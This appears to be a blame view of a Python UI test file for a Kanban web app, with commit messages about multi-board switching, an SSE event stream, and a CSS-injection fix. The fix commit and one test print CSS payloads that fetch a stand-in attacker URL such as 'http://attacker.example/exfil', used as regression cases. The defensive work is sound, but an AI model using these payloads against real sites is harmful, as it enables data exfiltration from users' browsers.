been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
# ── Multi-board switcher UI tests ───────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_switcher_markup_in_index():
|
|
|
|
|
"""The board switcher next to the Board title must be in index.html so
|
|
|
|
|
it loads on first paint without a JS round-trip."""
|
|
|
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
|
|
|
assert 'id="kanbanBoardSwitcherToggle"' in INDEX
|
|
|
|
|
assert 'id="kanbanBoardSwitcherMenu"' in INDEX
|
|
|
|
|
assert 'id="kanbanBoardSwitcherName"' in INDEX
|
|
|
|
|
# Switcher must be hidden by default — only revealed when ≥1 non-default
|
|
|
|
|
# board exists, otherwise it would clutter single-board deployments.
|
|
|
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
|
|
|
assert 'hidden>' in INDEX or 'hidden ' in INDEX # presence of hidden attr
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_modal_markup_in_index():
|
|
|
|
|
"""The create/rename board modal lives at the bottom of body so the
|
|
|
|
|
fixed-positioned overlay isn't trapped inside any scroll container."""
|
|
|
|
|
for sel in (
|
|
|
|
|
'id="kanbanBoardModal"',
|
|
|
|
|
'id="kanbanBoardModalTitle"',
|
|
|
|
|
'id="kanbanBoardModalName"',
|
|
|
|
|
'id="kanbanBoardModalSlugInput"',
|
|
|
|
|
'id="kanbanBoardModalDesc"',
|
|
|
|
|
'id="kanbanBoardModalIcon"',
|
|
|
|
|
'id="kanbanBoardModalColor"',
|
|
|
|
|
'id="kanbanBoardModalError"',
|
|
|
|
|
'id="kanbanBoardModalSubmit"',
|
|
|
|
|
):
|
|
|
|
|
assert sel in INDEX
|
|
|
|
|
# Modal must be hidden by default
|
|
|
|
|
assert 'id="kanbanBoardModal" hidden' in INDEX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_switcher_handlers_in_panels():
|
|
|
|
|
"""Every UI affordance must have a corresponding JS handler."""
|
|
|
|
|
for fn in (
|
|
|
|
|
"async function loadKanbanBoards",
|
|
|
|
|
"function _renderKanbanBoardMenu",
|
|
|
|
|
"function toggleKanbanBoardMenu",
|
|
|
|
|
"async function switchKanbanBoard",
|
|
|
|
|
"function openKanbanCreateBoard",
|
|
|
|
|
"function openKanbanRenameBoard",
|
|
|
|
|
"function closeKanbanBoardModal",
|
|
|
|
|
"async function submitKanbanBoardModal",
|
|
|
|
|
"async function archiveKanbanBoard",
|
|
|
|
|
):
|
|
|
|
|
assert fn in PANELS, f"Missing handler: {fn}"
|
|
|
|
|
|
|
|
|
|
|
2026-05-17 10:28:43 +00:00
|
|
|
def test_kanban_board_switcher_icon_column_clamps_long_labels():
|
|
|
|
|
"""Regression for #2458: board metadata may use a short text label in the
|
|
|
|
|
icon/color slot. The menu must keep that label inside its own column instead
|
|
|
|
|
of letting it overlap the board title and count badge.
|
|
|
|
|
"""
|
|
|
|
|
rule = re.search(
|
|
|
|
|
r"\.kanban-board-switcher-item-icon\{(?P<body>.*?)\}",
|
|
|
|
|
STYLE,
|
|
|
|
|
flags=re.S,
|
|
|
|
|
)
|
|
|
|
|
assert rule, "missing .kanban-board-switcher-item-icon CSS rule"
|
|
|
|
|
compact = re.sub(r"\s+", "", rule.group("body"))
|
|
|
|
|
for required in (
|
|
|
|
|
"overflow:hidden",
|
|
|
|
|
"text-overflow:ellipsis",
|
|
|
|
|
"white-space:nowrap",
|
|
|
|
|
"max-width:7.5rem",
|
|
|
|
|
"min-width:18px",
|
|
|
|
|
):
|
|
|
|
|
assert required in compact
|
|
|
|
|
|
|
|
|
|
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
def test_kanban_board_switcher_calls_correct_endpoints():
|
|
|
|
|
"""The switcher must hit the right REST verbs to round-trip with the
|
|
|
|
|
bridge's multi-board contract."""
|
|
|
|
|
# GET /boards
|
|
|
|
|
assert "api('/api/kanban/boards'" in PANELS
|
|
|
|
|
# POST /boards (create)
|
|
|
|
|
assert "method: 'POST'" in PANELS
|
|
|
|
|
# POST /boards/<slug>/switch
|
|
|
|
|
assert "/api/kanban/boards/' + encodeURIComponent" in PANELS
|
|
|
|
|
assert "/switch'" in PANELS
|
|
|
|
|
# PATCH /boards/<slug>
|
|
|
|
|
assert "method: 'PATCH'" in PANELS
|
|
|
|
|
# DELETE /boards/<slug>
|
|
|
|
|
assert "method: 'DELETE'" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_param_is_plumbed_into_api_calls():
|
|
|
|
|
"""Every existing kanban endpoint call must carry ?board=<slug> when
|
|
|
|
|
a non-default board is active. The shared helper is _kanbanBoardQuery()."""
|
|
|
|
|
assert "_kanbanBoardQuery" in PANELS
|
|
|
|
|
# Spot-check critical call sites
|
|
|
|
|
assert "/api/kanban/board' + (params.toString()" in PANELS # board with filters
|
|
|
|
|
assert "/api/kanban/config' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
assert "/api/kanban/stats' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
assert "/api/kanban/assignees' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_active_board_persisted_to_localstorage():
|
|
|
|
|
"""The last-viewed board slug must persist to localStorage so a refresh
|
|
|
|
|
keeps the user on the same board."""
|
|
|
|
|
assert "KANBAN_BOARD_LS_KEY" in PANELS
|
|
|
|
|
assert "'hermes-kanban-active-board'" in PANELS
|
|
|
|
|
assert "_kanbanGetSavedBoard" in PANELS
|
|
|
|
|
assert "_kanbanSetSavedBoard" in PANELS
|
|
|
|
|
|
|
|
|
|
|
2026-05-10 06:37:37 +00:00
|
|
|
def test_kanban_profile_assignee_cache_has_invalidation_path():
|
|
|
|
|
"""Kanban assignee suggestions should stay aligned with profile mutations.
|
|
|
|
|
|
|
|
|
|
The cache in _kanbanLoadProfileNames() can become stale when profiles are
|
|
|
|
|
created or deleted in the same session. This adds an explicit
|
|
|
|
|
invalidation path and a short TTL so modal opens recover from same-session
|
|
|
|
|
mutations and cross-tab/CLI changes.
|
|
|
|
|
"""
|
|
|
|
|
assert "_KANBAN_PROFILE_NAMES_CACHE_TTL_MS" in PANELS
|
|
|
|
|
assert "_kanbanProfileNamesCacheAt" in PANELS
|
|
|
|
|
assert "_invalidateKanbanProfileCache" in PANELS
|
|
|
|
|
|
|
|
|
|
load_start = PANELS.find("async function _kanbanLoadProfileNames(){")
|
|
|
|
|
assert load_start != -1, "Missing _kanbanLoadProfileNames() declaration"
|
|
|
|
|
load_end = PANELS.find("\n}\n\nasync function _kanbanPopulateAssigneeSelect", load_start)
|
|
|
|
|
if load_end == -1:
|
|
|
|
|
load_end = PANELS.find("\n}\n\nfunction openKanbanCreate", load_start)
|
|
|
|
|
load_body = PANELS[load_start:load_end] if load_end != -1 else PANELS[load_start:load_start + 2200]
|
|
|
|
|
assert "Date.now() - _kanbanProfileNamesCacheAt" in load_body
|
|
|
|
|
assert "_kanbanProfileNamesCacheAt = Date.now()" in load_body
|
|
|
|
|
|
|
|
|
|
save_start = PANELS.find("async function saveProfileForm(){")
|
|
|
|
|
assert save_start != -1, "Missing saveProfileForm() declaration"
|
|
|
|
|
save_end = PANELS.find("\n}\n\n// Back-compat", save_start)
|
|
|
|
|
save_body = PANELS[save_start:save_end if save_end != -1 else save_start + 2000]
|
|
|
|
|
assert "_invalidateKanbanProfileCache();" in save_body, (
|
|
|
|
|
"Profile create flow should invalidate Kanban assignee cache after success."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
delete_start = PANELS.find("async function deleteProfile(name) {")
|
|
|
|
|
assert delete_start != -1, "Missing deleteProfile() declaration"
|
|
|
|
|
delete_end = PANELS.find("\n\n// ── Memory panel", delete_start)
|
|
|
|
|
delete_body = PANELS[delete_start:delete_end if delete_end != -1 else delete_start + 1300]
|
|
|
|
|
assert "_invalidateKanbanProfileCache();" in delete_body, (
|
|
|
|
|
"Profile delete flow should invalidate Kanban assignee cache after success."
|
|
|
|
|
)
|
|
|
|
|
|
2026-05-10 07:49:14 +00:00
|
|
|
ui_delete_start = PANELS.find("async function deleteCurrentProfile(){")
|
|
|
|
|
assert ui_delete_start != -1, "Missing deleteCurrentProfile() declaration"
|
|
|
|
|
ui_delete_end = PANELS.find("\n\nfunction renderProfileDropdown", ui_delete_start)
|
|
|
|
|
ui_delete_body = PANELS[ui_delete_start:ui_delete_end if ui_delete_end != -1 else ui_delete_start + 1300]
|
|
|
|
|
assert "_invalidateKanbanProfileCache();" in ui_delete_body, (
|
|
|
|
|
"Profile detail delete flow (deleteCurrentProfile) should invalidate Kanban assignee cache after success."
|
|
|
|
|
)
|
|
|
|
|
|
2026-05-10 06:37:37 +00:00
|
|
|
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
def test_kanban_archive_board_uses_showConfirmDialog():
|
|
|
|
|
"""Archive is destructive → must use the styled showConfirmDialog,
|
|
|
|
|
not native confirm() (which can't be styled or i18n'd)."""
|
|
|
|
|
# The archive path
|
|
|
|
|
arch_idx = PANELS.find("async function archiveKanbanBoard")
|
|
|
|
|
assert arch_idx > 0
|
|
|
|
|
# Look at the next 800 chars
|
|
|
|
|
archive_block = PANELS[arch_idx:arch_idx + 800]
|
|
|
|
|
assert "showConfirmDialog" in archive_block
|
|
|
|
|
assert "danger: true" in archive_block
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ── SSE event stream UI tests ───────────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_eventsource_subscription_is_default():
|
|
|
|
|
"""The Kanban panel must subscribe to /api/kanban/events/stream via
|
|
|
|
|
EventSource as the default live-update mechanism (the multi-board PR
|
|
|
|
|
replaced 30s polling with SSE for ~300ms latency parity with the
|
|
|
|
|
agent dashboard's WebSocket /events). 30s polling remains as the
|
|
|
|
|
auto-fallback after repeated SSE failures."""
|
|
|
|
|
assert "new EventSource" in PANELS
|
|
|
|
|
assert "/api/kanban/events/stream" in PANELS
|
|
|
|
|
assert "_kanbanStartEventStream" in PANELS
|
|
|
|
|
assert "addEventListener('hello'" in PANELS
|
|
|
|
|
assert "addEventListener('events'" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_falls_back_to_polling_on_repeated_failure():
|
|
|
|
|
"""After 3 SSE failures the client must fall back to HTTP polling so
|
|
|
|
|
a flaky connection doesn't leave the user with stale data."""
|
|
|
|
|
assert "_kanbanEventSourceFailures" in PANELS
|
|
|
|
|
assert ">= 3" in PANELS # the failure threshold
|
|
|
|
|
assert "setInterval(refreshKanbanEvents" in PANELS # the fallback
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_torn_down_on_panel_switch():
|
|
|
|
|
"""The long-lived SSE connection must close when the user leaves the
|
|
|
|
|
Kanban panel — leaving it open wastes a server thread and a client
|
|
|
|
|
connection slot."""
|
|
|
|
|
assert "_kanbanStopPolling" in PANELS
|
|
|
|
|
# The teardown must be wired into switchPanel
|
|
|
|
|
assert "prevPanel === 'kanban'" in PANELS
|
|
|
|
|
assert "_kanbanStopPolling()" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_refresh_is_debounced():
|
|
|
|
|
"""A burst of events shouldn't trigger N reloads — must coalesce."""
|
|
|
|
|
assert "_scheduleKanbanRefresh" in PANELS
|
|
|
|
|
assert "_kanbanRefreshScheduled" in PANELS
|
|
|
|
|
# 250ms debounce window
|
|
|
|
|
assert "}, 250)" in PANELS
|
fix(kanban): block CSS injection via board.color into switcher style
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-05 00:28:32 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_color_is_validated_against_css_injection():
|
|
|
|
|
"""`board.color` is interpolated into a `style=""` attribute on the
|
|
|
|
|
switcher icon. esc() escapes HTML but does NOT prevent CSS-context
|
|
|
|
|
injection: an attacker (with WebUI write access, or via the agent CLI
|
|
|
|
|
which doesn't validate either) could set color to
|
|
|
|
|
`red;background:url('http://attacker/exfil')` and have the malicious
|
|
|
|
|
URL fetched whenever any user opens the board switcher.
|
|
|
|
|
|
|
|
|
|
Drive the helper through Node and assert that named colors / hex
|
|
|
|
|
codes are accepted while every CSS-injection shape is rejected.
|
|
|
|
|
"""
|
|
|
|
|
import json
|
|
|
|
|
import subprocess
|
|
|
|
|
script = """
|
|
|
|
|
const fs = require('fs');
|
|
|
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
|
|
|
const start = src.indexOf('function _kanbanSafeColor');
|
|
|
|
|
if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
|
|
|
|
|
// Grab the function body up to and including the closing `}` line.
|
|
|
|
|
const tail = src.slice(start);
|
|
|
|
|
const end = tail.indexOf('\\n}\\n') + 2;
|
|
|
|
|
const fn = tail.slice(0, end);
|
|
|
|
|
const ctx = {};
|
|
|
|
|
new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
|
|
|
|
|
const cases = [
|
|
|
|
|
['#fff', '#fff'],
|
|
|
|
|
['#3b82f6', '#3b82f6'],
|
|
|
|
|
['red', 'red'],
|
|
|
|
|
['Blue', 'Blue'],
|
|
|
|
|
// injection attempts must all collapse to '' so the renderer drops
|
|
|
|
|
// the `color:` rule entirely.
|
|
|
|
|
["red;background:url('http://attacker/exfil')", ''],
|
|
|
|
|
['red;background-image:url(http://x)', ''],
|
|
|
|
|
['expression(alert(1))', ''],
|
|
|
|
|
['#zzz', ''],
|
|
|
|
|
['', ''],
|
|
|
|
|
[null, ''],
|
|
|
|
|
[undefined, ''],
|
|
|
|
|
];
|
|
|
|
|
const results = cases.map(([input, expected]) => ({
|
|
|
|
|
input, expected, actual: ctx.fn(input)
|
|
|
|
|
}));
|
|
|
|
|
console.log(JSON.stringify(results));
|
|
|
|
|
"""
|
|
|
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
|
|
|
results = json.loads(result.stdout)
|
|
|
|
|
failures = [r for r in results if r["actual"] != r["expected"]]
|
|
|
|
|
assert not failures, f"_kanbanSafeColor mismatches: {failures}"
|
|
|
|
|
|
|
|
|
|
# The renderer must call the helper, not pass b.color through esc()
|
|
|
|
|
# directly into the style attribute.
|
|
|
|
|
assert "_kanbanSafeColor(b.color)" in PANELS
|
|
|
|
|
assert "color:${esc(b.color)}" not in PANELS
|
2026-05-11 12:38:48 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_locale_parity():
|
|
|
|
|
"""Every kanban_* i18n key in the English locale must exist in all
|
|
|
|
|
non-English locale blocks. The kanban panel has its own set of ~86
|
|
|
|
|
keys (kanban_board, kanban_task, …) that are rendered via t() — a
|
|
|
|
|
missing key silently falls back to English, which is acceptable for
|
|
|
|
|
content keys but confusing for UI labels the user expects to see
|
|
|
|
|
translated.
|
|
|
|
|
|
|
|
|
|
This test catches regressions where a new kanban key is added to the
|
|
|
|
|
English block but not to one or more locale blocks. Pattern borrowed
|
|
|
|
|
from test_lineage_segment_locale_keys_are_defined_for_sidebar_locales
|
|
|
|
|
in test_session_lineage_collapse.py.
|
|
|
|
|
|
|
|
|
|
Refs: #1973
|
|
|
|
|
"""
|
|
|
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
|
|
|
assert locale_blocks, "No locale blocks found in i18n.js"
|
|
|
|
|
|
|
|
|
|
# Collect the kanban_* keys from the English block.
|
|
|
|
|
en_name = "en"
|
|
|
|
|
en_body = None
|
|
|
|
|
for name, body in locale_blocks:
|
|
|
|
|
if name == en_name:
|
|
|
|
|
en_body = body
|
|
|
|
|
break
|
|
|
|
|
assert en_body is not None, "English locale block not found"
|
|
|
|
|
|
|
|
|
|
en_keys = set(re.findall(r"(kanban_\w+)\s*:", en_body))
|
|
|
|
|
assert en_keys, "No kanban_* keys found in English locale"
|
|
|
|
|
|
|
|
|
|
# Verify each non-English locale has the same set.
|
|
|
|
|
failures = []
|
|
|
|
|
for name, body in locale_blocks:
|
|
|
|
|
if name == en_name:
|
|
|
|
|
continue
|
|
|
|
|
loc_keys = set(re.findall(r"(kanban_\w+)\s*:", body))
|
|
|
|
|
missing = en_keys - loc_keys
|
|
|
|
|
extra = loc_keys - en_keys
|
|
|
|
|
if missing:
|
|
|
|
|
failures.append(f"{name}: missing {sorted(missing)}")
|
|
|
|
|
if extra:
|
|
|
|
|
failures.append(f"{name}: extra {sorted(extra)}")
|
|
|
|
|
|
|
|
|
|
assert not failures, (
|
|
|
|
|
"Kanban i18n key parity violations:\n" + "\n".join(failures)
|
|
|
|
|
)
|
2026-06-18 16:57:16 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_profile_lanes_explicitly_render_unassigned_lane():
|
|
|
|
|
"""Regression: unassigned Ready tasks must not disappear when the board is
|
|
|
|
|
grouped by profile/lane. Mobile users should see an explicit Unassigned
|
|
|
|
|
lane via a stable internal key instead of needing tasks assigned to
|
|
|
|
|
`default` for visibility.
|
|
|
|
|
"""
|
|
|
|
|
